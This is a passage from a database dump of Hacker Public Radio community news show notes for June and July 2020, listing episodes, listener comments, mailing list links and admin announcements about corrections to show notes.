target=\"_blank\">Christopher M. Hobbs</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3097\" target=\"_blank\">3097</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-06-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3097\" target=\"_blank\">Linux Inlaws S01E07 The Big Blue Button</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3098\" target=\"_blank\">3098</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-06-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3098\" target=\"_blank\">Matchbox Restoration Part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3099\" target=\"_blank\">3099</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-06-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3099\" target=\"_blank\">Linux Inlaws S01E08 The review of the review</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3100\" target=\"_blank\">3100</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-06-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3100\" target=\"_blank\">For your consideration - Makers Corner</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3101\" target=\"_blank\">3101</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-06-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3101\" target=\"_blank\">Metrics</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3102\" target=\"_blank\">3102</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-06-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3102\" target=\"_blank\">RFC 5005 Part 2 – Webcomics, subscribers and feed readers</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3103\" target=\"_blank\">3103</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-06-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3103\" target=\"_blank\">A warning about browser extensions and add-ons.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3104\" target=\"_blank\">3104</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-06-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3104\" target=\"_blank\">HPR AudioBook Club 19 - Tincture: An Apocalyptic Proposition</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3105\" target=\"_blank\">3105</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-06-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3105\" target=\"_blank\">Akaso EK7000 Pro</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3106\" target=\"_blank\">3106</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-06-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3106\" target=\"_blank\">Linux Inlaws S01E09 Postgres</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3107\" target=\"_blank\">3107</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-06-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3107\" target=\"_blank\">Generating comfortable passwords</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=385\" target=\"_blank\">crvs</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 23 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 6 comments on\n5 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3056#comments\" target=\"_blank\">hpr3056</a></strong>\n(2020-04-20) \"<em>Jitsi</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3056#8\" target=\"_blank\">Comment 8</a>:\noperat0r on 2020-06-13:\n\"dERp\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3072#comments\" target=\"_blank\">hpr3072</a></strong>\n(2020-05-12) \"<em>The joy of pip-tools and pyenv-virtualenv</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3072#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2020-06-02:\n\"The joy is real\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3079#comments\" target=\"_blank\">hpr3079</a></strong>\n(2020-05-21) \"<em>Linux Inlaws S01E06 Porn and Trump</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3079#1\" target=\"_blank\">Comment 1</a>:\nfrank on 2020-06-15:\n\"The sketch\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3082#comments\" target=\"_blank\">hpr3082</a></strong>\n(2020-05-26) \"<em>RFC 5005 Part 1 – Paged and archived feeds? Who cares?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3082#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2020-06-02:\n\"Atom \"tombstones\" RFC\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3083#comments\" target=\"_blank\">hpr3083</a></strong>\n(2020-05-27) \"<em>Mumbling while on lockdown</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3083#3\" target=\"_blank\">Comment 3</a>:\nWindigo on 2020-06-03:\n\"Modern Sheevaplug support\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3083#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2020-06-04:\n\"Re: Modern Sheevaplug support\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 17 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3087#comments\" target=\"_blank\">hpr3087</a></strong>\n(2020-06-02) \"<em>Phonetic alphabet</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3087#1\" target=\"_blank\">Comment 1</a>:\ncrvs on 2020-06-02:\n\"you forgot november\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3090#comments\" target=\"_blank\">hpr3090</a></strong>\n(2020-06-05) \"<em>Locating Computer on a Enterprise Network</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3090#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2020-06-05:\n\"Thanks for reminding me\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3090#2\" target=\"_blank\">Comment 2</a>:\ncmhobbs on 2020-06-08:\n\"quality episode\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3091#comments\" target=\"_blank\">hpr3091</a></strong>\n(2020-06-08) \"<em>fuguserv</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3091#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2020-06-08:\n\"read only router\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3091#2\" target=\"_blank\">Comment 2</a>:\nlZen_Floater1 on 2020-06-11:\n\"READ ONLY ROOTS\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3093#comments\" target=\"_blank\">hpr3093</a></strong>\n(2020-06-10) \"<em>Response to Linux Inlaws S01E06 (hpr 3079) on NeXT</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3093#1\" target=\"_blank\">Comment 1</a>:\nmonochromec on 2020-05-27:\n\"The review of the review\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3094#comments\" target=\"_blank\">hpr3094</a></strong>\n(2020-06-11) \"<em>Holy crud! I have a kinesis advantage 2 keyboard!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3094#1\" target=\"_blank\">Comment 1</a>:\ncmhobbs on 2020-06-11:\n\"great keyboard\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3095#comments\" target=\"_blank\">hpr3095</a></strong>\n(2020-06-12) \"<em>Intro to GIMP</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3095#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2020-06-14:\n\"the gimp\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3095#2\" target=\"_blank\">Comment 2</a>:\nAhuka on 2020-06-14:\n\"I\'m glad it helped\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3096#comments\" target=\"_blank\">hpr3096</a></strong>\n(2020-06-15) \"<em>Unscripted ramblings on a walk:  PC Building.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3096#1\" target=\"_blank\">Comment 1</a>:\nMike Brehm on 2020-06-17:\n\"Productive walk\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3096#2\" target=\"_blank\">Comment 2</a>:\ncmhobbs on 2020-06-21:\n\"re: productive walk\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3099#comments\" target=\"_blank\">hpr3099</a></strong>\n(2020-06-18) \"<em>Linux Inlaws S01E08 The review of the review</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3099#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2020-06-18:\n\"All According to Plan! }:-)\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3100#comments\" target=\"_blank\">hpr3100</a></strong>\n(2020-06-19) \"<em>For your consideration - Makers Corner</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3100#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2020-06-19:\n\"a book recommendation\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3101#comments\" target=\"_blank\">hpr3101</a></strong>\n(2020-06-22) \"<em>Metrics</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3101#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2020-06-22:\n\"Looking forward to further episodes.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3101#2\" target=\"_blank\">Comment 2</a>:\nAhuka on 2020-06-22:\n\"Excellent!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3101#3\" target=\"_blank\">Comment 3</a>:\nbrian-in-ohio on 2020-06-22:\n\"more episodes\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3107#comments\" target=\"_blank\">hpr3107</a></strong>\n(2020-06-30) \"<em>Generating comfortable passwords</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=385\" target=\"_blank\">crvs</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3107#1\" target=\"_blank\">Comment 1</a>:\nsigflup on 2020-06-30:\n\"Thanks\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-June/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-June/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"error-feedback-from-show-notes\">Error feedback from show notes</h3>\n<p>Most of the shows we process require us to make some level of modifications to get them posted. This ranges from fixing tags to a complete rewrite of the shownotes, or verifying whether intros were actually added or not.</p>\n<p>Each modification that we make means that it requires more human intervention and prevents us from being able to completely automate the upload process. In addition there is a non trivial amount of time needed to \"fix\" these issues. This can range from a few minutes to an hour or more per show, and with 260 shows a year this mounts up.</p>\n<p>We normally don\'t contact hosts about these issues as it is usually quicker to fix the issues than composing emails, and waiting for the reply that may never come. For the most part our experience has been that hosts are more than willing to fix these issues if they are aware of them.</p>\n<p>As part of the ongoing steps toward automation, would hosts be open to the idea of getting a processing report once we have posted the show? This would list all the issues the test tools found and the steps that we needed to take to rectify them.</p>\n<h3 id=\"making-changes-to-shows-after-upload\">Making changes to shows after upload</h3>\n<p>Sometimes an error or omission in notes for an HPR episode isn\'t noticed until the show is posted to the site. In recent times a few hosts have sent in their changes by way of comments. This is not ideal:</p>\n<ol type=\"1\">\n<li>There\'s a limit on how much text a comment can hold</li>\n<li>The comment form has a nasty habit of stripping backslashes, so code corrections can be messed up</li>\n<li>We don\'t put comments on the show\'s page on <code>archive.org</code>, so such corrections will not be seen by people reading the notes there</li>\n</ol>\n<p>The HPR admins would prefer changes to be sent in the form of emails to <code>admin at hackerpublicradio.org</code>. They will then be applied to the show notes and the <code>archive.org</code> version updated in step.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a></b></p>\n<p>Over the period tags and/or summaries have been added to 10 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3131,'2020-08-03','HPR Community News for July 2020',7227,'Warning Ken and Dave discuss some disturbing agricultural practices. Listener discretion is advised.','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3108\" target=\"_blank\">3108</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-07-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3108\" target=\"_blank\">Fuguita as a Desktop</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3109\" target=\"_blank\">3109</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-07-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3109\" target=\"_blank\">Matchbox Restoration Part 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3110\" target=\"_blank\">3110</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-07-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3110\" target=\"_blank\">Finding an Android phone to run LineageOS</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3111\" target=\"_blank\">3111</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-07-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3111\" target=\"_blank\">HPR Community News for June 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3112\" target=\"_blank\">3112</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-07-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3112\" target=\"_blank\">finishing the frame on the long wheelbase recumbent</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3113\" target=\"_blank\">3113</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-07-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3113\" target=\"_blank\">OpenJDK 15 - Unsafe Garbage</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3114\" target=\"_blank\">3114</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-07-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3114\" target=\"_blank\">Using the Akaso EK7000 Pro</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3115\" target=\"_blank\">3115</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-07-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3115\" target=\"_blank\">Pest Control</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3116\" target=\"_blank\">3116</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-07-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3116\" target=\"_blank\">Unscripted ramblings on a walk:  Crisis at The Manor</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3117\" target=\"_blank\">3117</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-07-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3117\" target=\"_blank\">The joy of retro computing</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3118\" target=\"_blank\">3118</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-07-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3118\" target=\"_blank\">Linux Inlaws S01E10 The Python Bumper Part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3119\" target=\"_blank\">3119</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-07-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3119\" target=\"_blank\">Converting to FFS2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3120\" target=\"_blank\">3120</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-07-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3120\" target=\"_blank\">How open are roleplaying games?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3121\" target=\"_blank\">3121</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-07-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3121\" target=\"_blank\">Opposing Views on Tattoos</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3122\" target=\"_blank\">3122</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-07-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3122\" target=\"_blank\">Devuan review - and commentary</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3123\" target=\"_blank\">3123</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-07-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3123\" target=\"_blank\">Arduino controlled Christmas lights</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3124\" target=\"_blank\">3124</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-07-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3124\" target=\"_blank\">Matchbox Restoration Part 5</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3125\" target=\"_blank\">3125</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-07-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3125\" target=\"_blank\">GIMP: The Canvas</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3126\" target=\"_blank\">3126</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-07-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3126\" target=\"_blank\">Metrics part II</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3127\" target=\"_blank\">3127</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-07-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3127\" target=\"_blank\">HPR AudioBook Club 20 - Quarter Share</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3128\" target=\"_blank\">3128</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-07-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3128\" target=\"_blank\">Linux Inlaws S01E11 The Python Bumper Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3129\" target=\"_blank\">3129</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-07-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3129\" target=\"_blank\">Followup on HPR3122</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3130\" target=\"_blank\">3130</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-07-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3130\" target=\"_blank\">More Quick Tips</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 33 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 5 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2774#comments\" target=\"_blank\">hpr2774</a></strong>\n(2019-03-21) \"<em>CJDNS and Yggdrasil</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=374\" target=\"_blank\">aldenp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2774#6\" target=\"_blank\">Comment 6</a>:\nSam on 2020-07-19:\n\"hpr2774 :: CJDNS and Yggdrasil\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3097#comments\" target=\"_blank\">hpr3097</a></strong>\n(2020-06-16) \"<em>Linux Inlaws S01E07 The Big Blue Button</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: 